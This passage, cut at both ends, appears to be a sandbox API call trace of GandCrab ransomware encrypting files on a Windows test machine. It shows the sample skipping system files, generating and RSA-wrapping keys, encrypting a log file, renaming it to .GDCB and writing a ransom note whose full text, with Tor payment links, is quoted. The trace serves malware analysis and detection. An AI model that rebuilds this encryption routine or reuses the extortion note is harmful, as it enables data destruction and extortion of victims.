lpString2="..") returned 1 [0053.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0053.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\" [0053.347] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.348] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.348] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned 63 [0053.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*" [0053.348] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x588f20 [0053.350] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.350] FindNextFileW (in: hFindFile=0x588f20, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.350] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.350] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.350] FindNextFileW (in: hFindFile=0x588f20, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.350] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2=".") returned 1 [0053.350] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="..") returned 1 [0053.350] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" [0053.350] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned 163 [0053.350] lstrcmpW (lpString1=".log", lpString2=".sql") returned -1 [0053.350] FindNextFileW (in: hFindFile=0x588f20, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.350] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2=".") returned 1 [0053.351] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="..") returned 1 [0053.351] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" [0053.351] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned 163 [0053.351] lstrcmpW (lpString1=".log", lpString2=".sql") returned -1 [0053.351] FindNextFileW (in: hFindFile=0x588f20, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.351] FindClose (in: hFindFile=0x588f20 | out: hFindFile=0x588f20) returned 1 [0053.351] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.351] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\\\GDCB-DECRYPT.txt") returned 80 [0053.351] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.354] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.354] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.354] CloseHandle (hObject=0x4fc) returned 1 [0053.354] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.355] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned 63 [0053.355] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*" [0053.355] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5890e0 [0053.355] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.355] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.355] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.355] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.355] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.355] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.355] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.355] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt" [0053.355] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.355] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0053.355] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0053.355] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0053.355] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.355] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.355] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.355] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.355] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2=".") returned 1 [0053.355] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="..") returned 1 [0053.355] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" [0053.355] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.356] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned 163 [0053.356] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned 163 [0053.356] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned 163 [0053.356] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned 163 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="desktop.ini") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="autorun.inf") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="ntuser.dat") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="iconcache.db") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="bootsect.bak") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="boot.ini") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="ntuser.dat.log") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="thumbs.db") returned 1 [0053.356] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.356] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log")) returned 0x20 [0053.356] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", dwFileAttributes=0x20) returned 1 [0053.356] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.356] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" [0053.357] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB" [0053.357] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58fc60) returned 1 [0053.357] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.357] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.357] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.357] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0053.357] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.357] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.357] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58ff90) returned 1 [0053.358] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.358] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.358] CryptGenRandom (in: hProv=0x58ff90, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0053.358] CryptReleaseContext (hProv=0x58ff90, dwFlags=0x0) returned 1 [0053.358] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.358] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.358] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.359] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58fc60) returned 1 [0053.360] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5894a0) returned 1 [0053.360] CryptGetKeyParam (in: hKey=0x5894a0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0053.360] CryptEncrypt (in: hKey=0x5894a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0053.361] GetLastError () returned 0x0 [0053.361] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.361] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58ff08) returned 1 [0053.362] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x589160) returned 1 [0053.362] CryptGetKeyParam (in: hKey=0x589160, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0053.363] CryptEncrypt (in: hKey=0x589160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0053.363] GetLastError () returned 0x0 [0053.363] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.363] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.363] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.363] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.363] ReadFile (in: hFile=0x500, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0x578, lpOverlapped=0x0) returned 1 [0053.370] VirtualAlloc (lpAddress=0x0, dwSize=0x580, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.370] VirtualAlloc (lpAddress=0x0, dwSize=0x580, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.370] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.370] SetFilePointer (in: hFile=0x500, lDistanceToMove=-1400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.370] WriteFile (in: hFile=0x500, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285eaa8*=0x580, lpOverlapped=0x0) returned 1 [0053.371] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.371] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.374] WriteFile (in: hFile=0x500, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0053.374] WriteFile (in: hFile=0x500, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0053.374] WriteFile (in: hFile=0x500, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0053.374] CloseHandle (hObject=0x500) returned 1 [0053.374] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.375] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.375] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.375] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.gdcb")) returned 1 [0053.375] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.376] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.376] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.376] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2=".") returned 1 [0053.376] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="..") returned 1 [0053.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" | out: 